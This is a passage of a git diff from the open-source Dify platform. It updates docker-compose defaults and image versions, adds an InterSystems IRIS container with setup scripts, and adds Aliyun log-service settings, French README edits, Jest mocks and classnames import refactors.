+  IRIS_MIN_CONNECTION: ${IRIS_MIN_CONNECTION:-1}
+  IRIS_MAX_CONNECTION: ${IRIS_MAX_CONNECTION:-3}
+  IRIS_TEXT_INDEX: ${IRIS_TEXT_INDEX:-true}
+  IRIS_TEXT_INDEX_LANGUAGE: ${IRIS_TEXT_INDEX_LANGUAGE:-en}
+  IRIS_TIMEZONE: ${IRIS_TIMEZONE:-UTC}
   UPLOAD_FILE_SIZE_LIMIT: ${UPLOAD_FILE_SIZE_LIMIT:-15}
   UPLOAD_FILE_BATCH_LIMIT: ${UPLOAD_FILE_BATCH_LIMIT:-5}
   UPLOAD_FILE_EXTENSION_BLACKLIST: ${UPLOAD_FILE_EXTENSION_BLACKLIST:-}
@@ -442,6 +455,14 @@ x-shared-env: &shared-api-worker-env
   WORKFLOW_LOG_CLEANUP_ENABLED: ${WORKFLOW_LOG_CLEANUP_ENABLED:-false}
   WORKFLOW_LOG_RETENTION_DAYS: ${WORKFLOW_LOG_RETENTION_DAYS:-30}
   WORKFLOW_LOG_CLEANUP_BATCH_SIZE: ${WORKFLOW_LOG_CLEANUP_BATCH_SIZE:-100}
+  ALIYUN_SLS_ACCESS_KEY_ID: ${ALIYUN_SLS_ACCESS_KEY_ID:-}
+  ALIYUN_SLS_ACCESS_KEY_SECRET: ${ALIYUN_SLS_ACCESS_KEY_SECRET:-}
+  ALIYUN_SLS_ENDPOINT: ${ALIYUN_SLS_ENDPOINT:-}
+  ALIYUN_SLS_REGION: ${ALIYUN_SLS_REGION:-}
+  ALIYUN_SLS_PROJECT_NAME: ${ALIYUN_SLS_PROJECT_NAME:-}
+  ALIYUN_SLS_LOGSTORE_TTL: ${ALIYUN_SLS_LOGSTORE_TTL:-365}
+  LOGSTORE_DUAL_WRITE_ENABLED: ${LOGSTORE_DUAL_WRITE_ENABLED:-false}
+  LOGSTORE_DUAL_READ_ENABLED: ${LOGSTORE_DUAL_READ_ENABLED:-true}
   HTTP_REQUEST_NODE_MAX_BINARY_SIZE: ${HTTP_REQUEST_NODE_MAX_BINARY_SIZE:-10485760}
   HTTP_REQUEST_NODE_MAX_TEXT_SIZE: ${HTTP_REQUEST_NODE_MAX_TEXT_SIZE:-1048576}
   HTTP_REQUEST_NODE_SSL_VERIFY: ${HTTP_REQUEST_NODE_SSL_VERIFY:-True}
@@ -515,7 +536,7 @@ x-shared-env: &shared-api-worker-env
   NGINX_SSL_PORT: ${NGINX_SSL_PORT:-443}
   NGINX_SSL_CERT_FILENAME: ${NGINX_SSL_CERT_FILENAME:-dify.crt}
   NGINX_SSL_CERT_KEY_FILENAME: ${NGINX_SSL_CERT_KEY_FILENAME:-dify.key}
-  NGINX_SSL_PROTOCOLS: ${NGINX_SSL_PROTOCOLS:-TLSv1.1 TLSv1.2 TLSv1.3}
+  NGINX_SSL_PROTOCOLS: ${NGINX_SSL_PROTOCOLS:-TLSv1.2 TLSv1.3}
   NGINX_WORKER_PROCESSES: ${NGINX_WORKER_PROCESSES:-auto}
   NGINX_CLIENT_MAX_BODY_SIZE: ${NGINX_CLIENT_MAX_BODY_SIZE:-100M}
   NGINX_KEEPALIVE_TIMEOUT: ${NGINX_KEEPALIVE_TIMEOUT:-65}
@@ -570,6 +591,7 @@ x-shared-env: &shared-api-worker-env
   PLUGIN_STDIO_MAX_BUFFER_SIZE: ${PLUGIN_STDIO_MAX_BUFFER_SIZE:-5242880}
   PLUGIN_PYTHON_ENV_INIT_TIMEOUT: ${PLUGIN_PYTHON_ENV_INIT_TIMEOUT:-120}
   PLUGIN_MAX_EXECUTION_TIMEOUT: ${PLUGIN_MAX_EXECUTION_TIMEOUT:-600}
+  PLUGIN_DAEMON_TIMEOUT: ${PLUGIN_DAEMON_TIMEOUT:-600.0}
   PIP_MIRROR_URL: ${PIP_MIRROR_URL:-}
   PLUGIN_STORAGE_TYPE: ${PLUGIN_STORAGE_TYPE:-local}
   PLUGIN_STORAGE_LOCAL_ROOT: ${PLUGIN_STORAGE_LOCAL_ROOT:-/app/storage}
@@ -618,7 +640,7 @@ x-shared-env: &shared-api-worker-env
   QUEUE_MONITOR_THRESHOLD: ${QUEUE_MONITOR_THRESHOLD:-200}
   QUEUE_MONITOR_ALERT_EMAILS: ${QUEUE_MONITOR_ALERT_EMAILS:-}
   QUEUE_MONITOR_INTERVAL: ${QUEUE_MONITOR_INTERVAL:-30}
-  SWAGGER_UI_ENABLED: ${SWAGGER_UI_ENABLED:-true}
+  SWAGGER_UI_ENABLED: ${SWAGGER_UI_ENABLED:-false}
   SWAGGER_UI_PATH: ${SWAGGER_UI_PATH:-/swagger-ui.html}
   DSL_EXPORT_ENCRYPT_DATASET_ID: ${DSL_EXPORT_ENCRYPT_DATASET_ID:-true}
   DATASET_MAX_SEGMENTS_PER_REQUEST: ${DATASET_MAX_SEGMENTS_PER_REQUEST:-0}
@@ -635,7 +657,16 @@ x-shared-env: &shared-api-worker-env
   WORKFLOW_SCHEDULE_POLLER_BATCH_SIZE: ${WORKFLOW_SCHEDULE_POLLER_BATCH_SIZE:-100}
   WORKFLOW_SCHEDULE_MAX_DISPATCH_PER_TICK: ${WORKFLOW_SCHEDULE_MAX_DISPATCH_PER_TICK:-0}
   TENANT_ISOLATED_TASK_CONCURRENCY: ${TENANT_ISOLATED_TASK_CONCURRENCY:-1}
+  ANNOTATION_IMPORT_FILE_SIZE_LIMIT: ${ANNOTATION_IMPORT_FILE_SIZE_LIMIT:-2}
+  ANNOTATION_IMPORT_MAX_RECORDS: ${ANNOTATION_IMPORT_MAX_RECORDS:-10000}
+  ANNOTATION_IMPORT_MIN_RECORDS: ${ANNOTATION_IMPORT_MIN_RECORDS:-1}
+  ANNOTATION_IMPORT_RATE_LIMIT_PER_MINUTE: ${ANNOTATION_IMPORT_RATE_LIMIT_PER_MINUTE:-5}
+  ANNOTATION_IMPORT_RATE_LIMIT_PER_HOUR: ${ANNOTATION_IMPORT_RATE_LIMIT_PER_HOUR:-20}
+  ANNOTATION_IMPORT_MAX_CONCURRENT: ${ANNOTATION_IMPORT_MAX_CONCURRENT:-5}
   AMPLITUDE_API_KEY: ${AMPLITUDE_API_KEY:-}
+  SANDBOX_EXPIRED_RECORDS_CLEAN_GRACEFUL_PERIOD: ${SANDBOX_EXPIRED_RECORDS_CLEAN_GRACEFUL_PERIOD:-21}
+  SANDBOX_EXPIRED_RECORDS_CLEAN_BATCH_SIZE: ${SANDBOX_EXPIRED_RECORDS_CLEAN_BATCH_SIZE:-1000}
+  SANDBOX_EXPIRED_RECORDS_RETENTION_DAYS: ${SANDBOX_EXPIRED_RECORDS_RETENTION_DAYS:-30}
 
 services:
   # Init container to fix permissions
@@ -659,7 +690,7 @@ services:
 
   # API service
   api:
-    image: langgenius/dify-api:1.11.0
+    image: langgenius/dify-api:1.11.1
     restart: always
     environment:
       # Use the shared environment variables.
@@ -672,6 +703,7 @@ services:
       PLUGIN_REMOTE_INSTALL_HOST: ${EXPOSE_PLUGIN_DEBUGGING_HOST:-localhost}
       PLUGIN_REMOTE_INSTALL_PORT: ${EXPOSE_PLUGIN_DEBUGGING_PORT:-5003}
       PLUGIN_MAX_PACKAGE_SIZE: ${PLUGIN_MAX_PACKAGE_SIZE:-52428800}
+      PLUGIN_DAEMON_TIMEOUT: ${PLUGIN_DAEMON_TIMEOUT:-600.0}
       INNER_API_KEY_FOR_PLUGIN: ${PLUGIN_DIFY_INNER_API_KEY:-QaHbTe77CtuXmsfyhR7+vRjI/+XbV1AaFy691iy+kGDv2Jvy0/eAh8Y1}
     depends_on:
       init_permissions:
@@ -700,7 +732,7 @@ services:
   # worker service
   # The Celery worker for processing all queues (dataset, workflow, mail, etc.)
   worker:
-    image: langgenius/dify-api:1.11.0
+    image: langgenius/dify-api:1.11.1
     restart: always
     environment:
       # Use the shared environment variables.
@@ -739,7 +771,7 @@ services:
   # worker_beat service
   # Celery beat for scheduling periodic tasks.
   worker_beat:
-    image: langgenius/dify-api:1.11.0
+    image: langgenius/dify-api:1.11.1
     restart: always
     environment:
       # Use the shared environment variables.
@@ -769,7 +801,7 @@ services:
 
   # Frontend web application.
   web:
-    image: langgenius/dify-web:1.11.0
+    image: langgenius/dify-web:1.11.1
     restart: always
     environment:
       CONSOLE_API_URL: ${CONSOLE_API_URL:-}
@@ -1052,7 +1084,7 @@ services:
       # and modify the env vars below in .env if HTTPS_ENABLED is true.
       NGINX_SSL_CERT_FILENAME: ${NGINX_SSL_CERT_FILENAME:-dify.crt}
       NGINX_SSL_CERT_KEY_FILENAME: ${NGINX_SSL_CERT_KEY_FILENAME:-dify.key}
-      NGINX_SSL_PROTOCOLS: ${NGINX_SSL_PROTOCOLS:-TLSv1.1 TLSv1.2 TLSv1.3}
+      NGINX_SSL_PROTOCOLS: ${NGINX_SSL_PROTOCOLS:-TLSv1.2 TLSv1.3}
       NGINX_WORKER_PROCESSES: ${NGINX_WORKER_PROCESSES:-auto}
       NGINX_CLIENT_MAX_BODY_SIZE: ${NGINX_CLIENT_MAX_BODY_SIZE:-100M}
       NGINX_KEEPALIVE_TIMEOUT: ${NGINX_KEEPALIVE_TIMEOUT:-65}
@@ -1286,6 +1318,26 @@ services:
       CHROMA_SERVER_AUTHN_PROVIDER: ${CHROMA_SERVER_AUTHN_PROVIDER:-chromadb.auth.token_authn.TokenAuthenticationServerProvider}
       IS_PERSISTENT: ${CHROMA_IS_PERSISTENT:-TRUE}
 
+  # InterSystems IRIS vector database
+  iris:
+    image: containers.intersystems.com/intersystems/iris-community:2025.3
+    profiles:
+      - iris
+    container_name: iris
+    restart: always
+    init: true
+    ports:
+      - "${IRIS_SUPER_SERVER_PORT:-1972}:1972"
+      - "${IRIS_WEB_SERVER_PORT:-52773}:52773"
+    volumes:
+      - ./volumes/iris:/opt/iris
+      - ./iris/iris-init.script:/iris-init.script
+      - ./iris/docker-entrypoint.sh:/custom-entrypoint.sh
+    entrypoint: ["/custom-entrypoint.sh"]
+    tty: true
+    environment:
+      TZ: ${IRIS_TIMEZONE:-UTC}
+
   # Oracle vector database
   oracle:
     image: container-registry.oracle.com/database/free:latest
diff --git a/docker/iris/docker-entrypoint.sh b/docker/iris/docker-entrypoint.sh
new file mode 100755
index 0000000000..067bfa03e2
--- /dev/null
+++ b/docker/iris/docker-entrypoint.sh
@@ -0,0 +1,38 @@
+#!/bin/bash
+set -e
+
+# IRIS configuration flag file
+IRIS_CONFIG_DONE="/opt/iris/.iris-configured"
+
+# Function to configure IRIS
+configure_iris() {
+    echo "Configuring IRIS for first-time setup..."
+
+    # Wait for IRIS to be fully started
+    sleep 5
+
+    # Execute the initialization script
+    iris session IRIS < /iris-init.script
+
+    # Mark configuration as done
+    touch "$IRIS_CONFIG_DONE"
+
+    echo "IRIS configuration completed."
+}
+
+# Start IRIS in background for initial configuration if not already configured
+if [ ! -f "$IRIS_CONFIG_DONE" ]; then
+    echo "First-time IRIS setup detected. Starting IRIS for configuration..."
+
+    # Start IRIS
+    iris start IRIS
+
+    # Configure IRIS
+    configure_iris
+
+    # Stop IRIS
+    iris stop IRIS quietly
+fi
+
+# Run the original IRIS entrypoint
+exec /iris-main "$@"
diff --git a/docker/iris/iris-init.script b/docker/iris/iris-init.script
new file mode 100644
index 0000000000..c41fcf4efb
--- /dev/null
+++ b/docker/iris/iris-init.script
@@ -0,0 +1,11 @@
+// Switch to the %SYS namespace to modify system settings
+set $namespace="%SYS"
+
+// Set predefined user passwords to never expire (default password: SYS)
+Do ##class(Security.Users).UnExpireUserPasswords("*")
+
+// Change the default password　
+Do $SYSTEM.Security.ChangePassword("_SYSTEM","Dify@1234")
+
+// Install the Japanese locale (default is English since the container is Ubuntu-based)
+// Do ##class(Config.NLS.Locales).Install("jpuw")
diff --git a/docker/middleware.env.example b/docker/middleware.env.example
index d4cbcd1762..f7e0252a6f 100644
--- a/docker/middleware.env.example
+++ b/docker/middleware.env.example
@@ -213,3 +213,24 @@ PLUGIN_VOLCENGINE_TOS_ENDPOINT=
 PLUGIN_VOLCENGINE_TOS_ACCESS_KEY=
 PLUGIN_VOLCENGINE_TOS_SECRET_KEY=
 PLUGIN_VOLCENGINE_TOS_REGION=
+
+# ------------------------------
+# Environment Variables for Aliyun SLS (Simple Log Service)
+# ------------------------------
+# Aliyun SLS Access Key ID
+ALIYUN_SLS_ACCESS_KEY_ID=
+# Aliyun SLS Access Key Secret
+ALIYUN_SLS_ACCESS_KEY_SECRET=
+# Aliyun SLS Endpoint (e.g., cn-hangzhou.log.aliyuncs.com)
+ALIYUN_SLS_ENDPOINT=
+# Aliyun SLS Region (e.g., cn-hangzhou)
+ALIYUN_SLS_REGION=
+# Aliyun SLS Project Name
+ALIYUN_SLS_PROJECT_NAME=
+# Aliyun SLS Logstore TTL (default: 365 days， 3650 for permanent storage)
+ALIYUN_SLS_LOGSTORE_TTL=365
+# Enable dual-write to both LogStore and SQL database (default: true)
+LOGSTORE_DUAL_WRITE_ENABLED=true
+# Enable dual-read fallback to SQL database when LogStore returns no results (default: true)
+# Useful for migration scenarios where historical data exists only in SQL database
+LOGSTORE_DUAL_READ_ENABLED=true
\ No newline at end of file
diff --git a/docs/fr-FR/README.md b/docs/fr-FR/README.md
index 03f3221798..291c8dab40 100644
--- a/docs/fr-FR/README.md
+++ b/docs/fr-FR/README.md
@@ -61,14 +61,14 @@
 <p align="center">
   <a href="https://trendshift.io/repositories/2152" target="_blank"><img src="https://trendshift.io/api/badge/repositories/2152" alt="langgenius%2Fdify | Trendshift" style="width: 250px; height: 55px;" width="250" height="55"/></a>
 </p>
-Dify est une plateforme de développement d'applications LLM open source. Son interface intuitive combine un flux de travail d'IA, un pipeline RAG, des capacités d'agent, une gestion de modèles, des fonctionnalités d'observabilité, et plus encore, vous permettant de passer rapidement du prototype à la production. Voici une liste des fonctionnalités principales:
+Dify est une plateforme de développement d'applications LLM open source. Sa interface intuitive combine un flux de travail d'IA, un pipeline RAG, des capacités d'agent, une gestion de modèles, des fonctionnalités d'observabilité, et plus encore, vous permettant de passer rapidement du prototype à la production. Voici une liste des fonctionnalités principales:
 </br> </br>
 
 **1. Flux de travail** :
 Construisez et testez des flux de travail d'IA puissants sur un canevas visuel, en utilisant toutes les fonctionnalités suivantes et plus encore.
 
 **2. Prise en charge complète des modèles** :
-Intégration transparente avec des centaines de LLM propriétaires / open source provenant de dizaines de fournisseurs d'inférence et de solutions auto-hébergées, couvrant GPT, Mistral, Llama3, et tous les modèles compatibles avec l'API OpenAI. Une liste complète des fournisseurs de modèles pris en charge se trouve [ici](https://docs.dify.ai/getting-started/readme/model-providers).
+Intégration transparente avec des centaines de LLM propriétaires / open source offerts par dizaines de fournisseurs d'inférence et de solutions auto-hébergées, couvrant GPT, Mistral, Llama3, et tous les modèles compatibles avec l'API OpenAI. Une liste complète des fournisseurs de modèles pris en charge se trouve [ici](https://docs.dify.ai/getting-started/readme/model-providers).
 
 ![providers-v5](https://github.com/langgenius/dify/assets/13230914/5a17bdbe-097a-4100-8363-40255b70f6e3)
 
@@ -79,7 +79,7 @@ Interface intuitive pour créer des prompts, comparer les performances des modè
 Des capacités RAG étendues qui couvrent tout, de l'ingestion de documents à la récupération, avec un support prêt à l'emploi pour l'extraction de texte à partir de PDF, PPT et autres formats de document courants.
 
 **5. Capacités d'agent** :
-Vous pouvez définir des agents basés sur l'appel de fonction LLM ou ReAct, et ajouter des outils pré-construits ou personnalisés pour l'agent. Dify fournit plus de 50 outils intégrés pour les agents d'IA, tels que la recherche Google, DALL·E, Stable Diffusion et WolframAlpha.
+Vous pouvez définir des agents basés sur l'appel de fonctions LLM ou ReAct, et ajouter des outils pré-construits ou personnalisés pour l'agent. Dify fournit plus de 50 outils intégrés pour les agents d'IA, tels que la recherche Google, DALL·E, Stable Diffusion et WolframAlpha.
 
 **6. LLMOps** :
 Surveillez et analysez les journaux d'application et les performances au fil du temps. Vous pouvez continuellement améliorer les prompts, les ensembles de données et les modèles en fonction des données de production et des annotations.
diff --git a/.cursorrules b/web/AGENTS.md
similarity index 61%
rename from .cursorrules
rename to web/AGENTS.md
index cdfb8b17a3..7362cd51db 100644
--- a/.cursorrules
+++ b/web/AGENTS.md
@@ -1,6 +1,5 @@
-# Cursor Rules for Dify Project
-
 ## Automated Test Generation
 
 - Use `web/testing/testing.md` as the canonical instruction set for generating frontend automated tests.
 - When proposing or saving tests, re-read that document and follow every requirement.
+- All frontend tests MUST also comply with the `frontend-testing` skill. Treat the skill as a mandatory constraint, not optional guidance.
diff --git a/web/CLAUDE.md b/web/CLAUDE.md
new file mode 120000
index 0000000000..47dc3e3d86
--- /dev/null
+++ b/web/CLAUDE.md
@@ -0,0 +1 @@
+AGENTS.md
\ No newline at end of file
diff --git a/web/__mocks__/ky.ts b/web/__mocks__/ky.ts
new file mode 100644
index 0000000000..6c7691f2cf
--- /dev/null
+++ b/web/__mocks__/ky.ts
@@ -0,0 +1,71 @@
+/**
+ * Mock for ky HTTP client
+ * This mock is used to avoid ESM issues in Jest tests
+ */
+
+type KyResponse = {
+  ok: boolean
+  status: number
+  statusText: string
+  headers: Headers
+  json: jest.Mock
+  text: jest.Mock
+  blob: jest.Mock
+  arrayBuffer: jest.Mock
+  clone: jest.Mock
+}
+
+type KyInstance = jest.Mock & {
+  get: jest.Mock
+  post: jest.Mock
+  put: jest.Mock
+  patch: jest.Mock
+  delete: jest.Mock
+  head: jest.Mock
+  create: jest.Mock
+  extend: jest.Mock
+  stop: symbol
+}
+
+const createResponse = (data: unknown = {}, status = 200): KyResponse => {
+  const response: KyResponse = {
+    ok: status >= 200 && status < 300,
+    status,
+    statusText: status === 200 ? 'OK' : 'Error',
+    headers: new Headers(),
+    json: jest.fn().mockResolvedValue(data),
+    text: jest.fn().mockResolvedValue(JSON.stringify(data)),
+    blob: jest.fn().mockResolvedValue(new Blob()),
+    arrayBuffer: jest.fn().mockResolvedValue(new ArrayBuffer(0)),
+    clone: jest.fn(),
+  }
+  // Ensure clone returns a new response-like object, not the same instance
+  response.clone.mockImplementation(() => createResponse(data, status))
+  return response
+}
+
+const createKyInstance = (): KyInstance => {
+  const instance = jest.fn().mockImplementation(() => Promise.resolve(createResponse())) as KyInstance
+
+  // HTTP methods
+  instance.get = jest.fn().mockImplementation(() => Promise.resolve(createResponse()))
+  instance.post = jest.fn().mockImplementation(() => Promise.resolve(createResponse()))
+  instance.put = jest.fn().mockImplementation(() => Promise.resolve(createResponse()))
+  instance.patch = jest.fn().mockImplementation(() => Promise.resolve(createResponse()))
+  instance.delete = jest.fn().mockImplementation(() => Promise.resolve(createResponse()))
+  instance.head = jest.fn().mockImplementation(() => Promise.resolve(createResponse()))
+
+  // Create new instance with custom options
+  instance.create = jest.fn().mockImplementation(() => createKyInstance())
+  instance.extend = jest.fn().mockImplementation(() => createKyInstance())
+
+  // Stop method for AbortController
+  instance.stop = Symbol('stop')
+
+  return instance
+}
+
+const ky = createKyInstance()
+
+export default ky
+export { ky }
diff --git a/web/__mocks__/react-i18next.ts b/web/__mocks__/react-i18next.ts
new file mode 100644
index 0000000000..1e3f58927e
--- /dev/null
+++ b/web/__mocks__/react-i18next.ts
@@ -0,0 +1,40 @@
+/**
+ * Shared mock for react-i18next
+ *
+ * Jest automatically uses this mock when react-i18next is imported in tests.
+ * The default behavior returns the translation key as-is, which is suitable
+ * for most test scenarios.
+ *
+ * For tests that need custom translations, you can override with jest.mock():
+ *
+ * @example
+ * jest.mock('react-i18next', () => ({
+ *   useTranslation: () => ({
+ *     t: (key: string) => {
+ *       if (key === 'some.key') return 'Custom translation'
+ *       return key
+ *     },
+ *   }),
+ * }))
+ */
+
+export const useTranslation = () => ({
+  t: (key: string, options?: Record<string, unknown>) => {
+    if (options?.returnObjects)
+      return [`${key}-feature-1`, `${key}-feature-2`]
+    if (options)
+      return `${key}:${JSON.stringify(options)}`
+    return key
+  },
+  i18n: {
+    language: 'en',
+    changeLanguage: jest.fn(),
+  },
+})
+
+export const Trans = ({ children }: { children?: React.ReactNode }) => children
+
+export const initReactI18next = {
+  type: '3rdParty',
+  init: jest.fn(),
+}
diff --git a/web/__tests__/embedded-user-id-auth.test.tsx b/web/__tests__/embedded-user-id-auth.test.tsx
index 5c3c3c943f..9d6734b120 100644
--- a/web/__tests__/embedded-user-id-auth.test.tsx
+++ b/web/__tests__/embedded-user-id-auth.test.tsx
@@ -4,12 +4,6 @@ import { fireEvent, render, screen, waitFor } from '@testing-library/react'
 import MailAndPasswordAuth from '@/app/(shareLayout)/webapp-signin/components/mail-and-password-auth'
 import CheckCode from '@/app/(shareLayout)/webapp-signin/check-code/page'
 
-jest.mock('react-i18next', () => ({
-  useTranslation: () => ({
-    t: (key: string) => key,
-  }),
-}))
-
 const replaceMock = jest.fn()
 const backMock = jest.fn()
 
diff --git a/web/__tests__/goto-anything/command-selector.test.tsx b/web/__tests__/goto-anything/command-selector.test.tsx
index 6d4e045d49..e502c533bb 100644
--- a/web/__tests__/goto-anything/command-selector.test.tsx
+++ b/web/__tests__/goto-anything/command-selector.test.tsx
@@ -4,12 +4,6 @@ import '@testing-library/jest-dom'
 import CommandSelector from '../../app/components/goto-anything/command-selector'
 import type { ActionItem } from '../../app/components/goto-anything/actions/types'
 
-jest.mock('react-i18next', () => ({
-  useTranslation: () => ({
-    t: (key: string) => key,
-  }),
-}))
-
 jest.mock('cmdk', () => ({
   Command: {
     Group: ({ children, className }: any) => <div className={className}>{children}</div>,
diff --git a/web/app/(commonLayout)/app/(appDetailLayout)/[appId]/layout-main.tsx b/web/app/(commonLayout)/app/(appDetailLayout)/[appId]/layout-main.tsx
index 1f836de6e6..d5e3c61932 100644
--- a/web/app/(commonLayout)/app/(appDetailLayout)/[appId]/layout-main.tsx
+++ b/web/app/(commonLayout)/app/(appDetailLayout)/[appId]/layout-main.tsx
@@ -16,7 +16,7 @@ import {
 import { useTranslation } from 'react-i18next'
 import { useShallow } from 'zustand/react/shallow'
 import s from './style.module.css'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { useStore } from '@/app/components/app/store'
 import AppSideBar from '@/app/components/app-sidebar'
 import type { NavIcon } from '@/app/components/app-sidebar/navLink'
diff --git a/web/app/(commonLayout)/app/(appDetailLayout)/[appId]/overview/time-range-picker/date-picker.tsx b/web/app/(commonLayout)/app/(appDetailLayout)/[appId]/overview/time-range-picker/date-picker.tsx
index 2bfdece433..dda5dff2b9 100644
--- a/web/app/(commonLayout)/app/(appDetailLayout)/[appId]/overview/time-range-picker/date-picker.tsx
+++ b/web/app/(commonLayout)/app/(appDetailLayout)/[appId]/overview/time-range-picker/date-picker.tsx
@@ -3,7 +3,7 @@ import { RiCalendarLine } from '@remixicon/react'
 import type { Dayjs } from 'dayjs'
 import type { FC } from 'react'
 import React, { useCallback } from 'react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { formatToLocalTime } from '@/utils/format'
 import { useI18N } from '@/context/i18n'
 import Picker from '@/app/components/base/date-and-time-picker/date-picker'
diff --git a/web/app/(commonLayout)/app/(appDetailLayout)/[appId]/overview/time-range-picker/range-selector.tsx b/web/app/(commonLayout)/app/(appDetailLayout)/[appId]/overview/time-range-picker/range-selector.tsx
index f99ea52492..0a80bf670d 100644
--- a/web/app/(commonLayout)/app/(appDetailLayout)/[appId]/overview/time-range-picker/range-selector.tsx
+++ b/web/app/(commonLayout)/app/(appDetailLayout)/[appId]/overview/time-range-picker/range-selector.tsx
@@ -6,7 +6,7 @@ import { SimpleSelect } from '@/app/components/base/select'
 import type { Item } from '@/app/components/base/select'
 import dayjs from 'dayjs'
 import { RiArrowDownSLine, RiCheckLine } from '@remixicon/react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { useTranslation } from 'react-i18next'
 
 const today = dayjs()
diff --git a/web/app/(commonLayout)/app/(appDetailLayout)/[appId]/overview/tracing/__tests__/svg-attribute-error-reproduction.spec.tsx b/web/app/(commonLayout)/app/(appDetailLayout)/[appId]/overview/tracing/__tests__/svg-attribute-error-reproduction.spec.tsx
index b1e915b2bf..374dbff203 100644
--- a/web/app/(commonLayout)/app/(appDetailLayout)/[appId]/overview/tracing/__tests__/svg-attribute-error-reproduction.spec.tsx
+++ b/web/app/(commonLayout)/app/(appDetailLayout)/[appId]/overview/tracing/__tests__/svg-attribute-error-reproduction.spec.tsx
@@ -3,13 +3,6 @@ import { render } from '@testing-library/react'
 import '@testing-library/jest-dom'
 import { OpikIconBig } from '@/app/components/base/icons/src/public/tracing'
 
-// Mock dependencies to isolate the SVG rendering issue
-jest.mock('react-i18next', () => ({
-  useTranslation: () => ({
-    t: (key: string) => key,
-  }),
-}))
-
 describe('SVG Attribute Error Reproduction', () => {
   // Capture console errors
   const originalError = console.error
diff --git a/web/app/(commonLayout)/app/(appDetailLayout)/[appId]/overview/tracing/config-button.tsx b/web/app/(commonLayout)/app/(appDetailLayout)/[appId]/overview/tracing/config-button.tsx
index 246a1eb6a3..17c919bf22 100644
--- a/web/app/(commonLayout)/app/(appDetailLayout)/[appId]/overview/tracing/config-button.tsx
+++ b/web/app/(commonLayout)/app/(appDetailLayout)/[appId]/overview/tracing/config-button.tsx
@@ -4,7 +4,7 @@ import React, { useCallback, useRef, useState } from 'react'
 
 import type { PopupProps } from './config-popup'
 import ConfigPopup from './config-popup'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import {
   PortalToFollowElem,
   PortalToFollowElemContent,
diff --git a/web/app/(commonLayout)/app/(appDetailLayout)/[appId]/overview/tracing/config-popup.tsx b/web/app/(commonLayout)/app/(appDetailLayout)/[appId]/overview/tracing/config-popup.tsx
index 628eb13071..767ccb8c59 100644
--- a/web/app/(commonLayout)/app/(appDetailLayout)/[appId]/overview/tracing/config-popup.tsx
+++ b/web/app/(commonLayout)/app/(appDetailLayout)/[appId]/overview/tracing/config-popup.tsx
@@ -12,7 +12,7 @@ import Indicator from '@/app/components/header/indicator'
 import Switch from '@/app/components/base/switch'
 import Tooltip from '@/app/components/base/tooltip'
 import Divider from '@/app/components/base/divider'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 const I18N_PREFIX = 'app.tracing'
 
diff --git a/web/app/(commonLayout)/app/(appDetailLayout)/[appId]/overview/tracing/field.tsx b/web/app/(commonLayout)/app/(appDetailLayout)/[appId]/overview/tracing/field.tsx
index eecd356e08..e170159e35 100644
--- a/web/app/(commonLayout)/app/(appDetailLayout)/[appId]/overview/tracing/field.tsx
+++ b/web/app/(commonLayout)/app/(appDetailLayout)/[appId]/overview/tracing/field.tsx
@@ -1,7 +1,7 @@
 'use client'
 import type { FC } from 'react'
 import React from 'react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import Input from '@/app/components/base/input'
 
 type Props = {
diff --git a/web/app/(commonLayout)/app/(appDetailLayout)/[appId]/overview/tracing/panel.tsx b/web/app/(commonLayout)/app/(appDetailLayout)/[appId]/overview/tracing/panel.tsx
index 2c17931b83..319ff3f423 100644
--- a/web/app/(commonLayout)/app/(appDetailLayout)/[appId]/overview/tracing/panel.tsx
+++ b/web/app/(commonLayout)/app/(appDetailLayout)/[appId]/overview/tracing/panel.tsx
@@ -12,7 +12,7 @@ import type { AliyunConfig, ArizeConfig, DatabricksConfig, LangFuseConfig, LangS
 import { TracingProvider } from './type'
 import TracingIcon from './tracing-icon'
 import ConfigButton from './config-button'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { AliyunIcon, ArizeIcon, DatabricksIcon, LangfuseIcon, LangsmithIcon, MlflowIcon, OpikIcon, PhoenixIcon, TencentIcon, WeaveIcon } from '@/app/components/base/icons/src/public/tracing'
 import Indicator from '@/app/components/header/indicator'
 import { fetchTracingConfig as doFetchTracingConfig, fetchTracingStatus, updateTracingStatus } from '@/service/apps'
diff --git a/web/app/(commonLayout)/app/(appDetailLayout)/[appId]/overview/tracing/provider-panel.tsx b/web/app/(commonLayout)/app/(appDetailLayout)/[appId]/overview/tracing/provider-panel.tsx
index ac1704d60d..0779689c76 100644
--- a/web/app/(commonLayout)/app/(appDetailLayout)/[appId]/overview/tracing/provider-panel.tsx
+++ b/web/app/(commonLayout)/app/(appDetailLayout)/[appId]/overview/tracing/provider-panel.tsx
@@ -6,7 +6,7 @@ import {
 } from '@remixicon/react'
 import { useTranslation } from 'react-i18next'
 import { TracingProvider } from './type'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { AliyunIconBig, ArizeIconBig, DatabricksIconBig, LangfuseIconBig, LangsmithIconBig, MlflowIconBig, OpikIconBig, PhoenixIconBig, TencentIconBig, WeaveIconBig } from '@/app/components/base/icons/src/public/tracing'
 import { Eye as View } from '@/app/components/base/icons/src/vender/solid/general'
 
diff --git a/web/app/(commonLayout)/app/(appDetailLayout)/[appId]/overview/tracing/tracing-icon.tsx b/web/app/(commonLayout)/app/(appDetailLayout)/[appId]/overview/tracing/tracing-icon.tsx
index ec9117dd38..aeca1cd3ab 100644
--- a/web/app/(commonLayout)/app/(appDetailLayout)/[appId]/overview/tracing/tracing-icon.tsx
+++ b/web/app/(commonLayout)/app/(appDetailLayout)/[appId]/overview/tracing/tracing-icon.tsx
@@ -1,7 +1,7 @@
 'use client'
 import type { FC } from 'react'
 import React from 'react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { TracingIcon as Icon } from '@/app/components/base/icons/src/public/tracing'
 
 type Props = {
diff --git a/web/app/(commonLayout)/datasets/(datasetDetailLayout)/[datasetId]/layout-main.tsx b/web/app/(commonLayout)/datasets/(datasetDetailLayout)/[datasetId]/layout-main.tsx
index 3effb79f20..3581587b54 100644
--- a/web/app/(commonLayout)/datasets/(datasetDetailLayout)/[datasetId]/layout-main.tsx
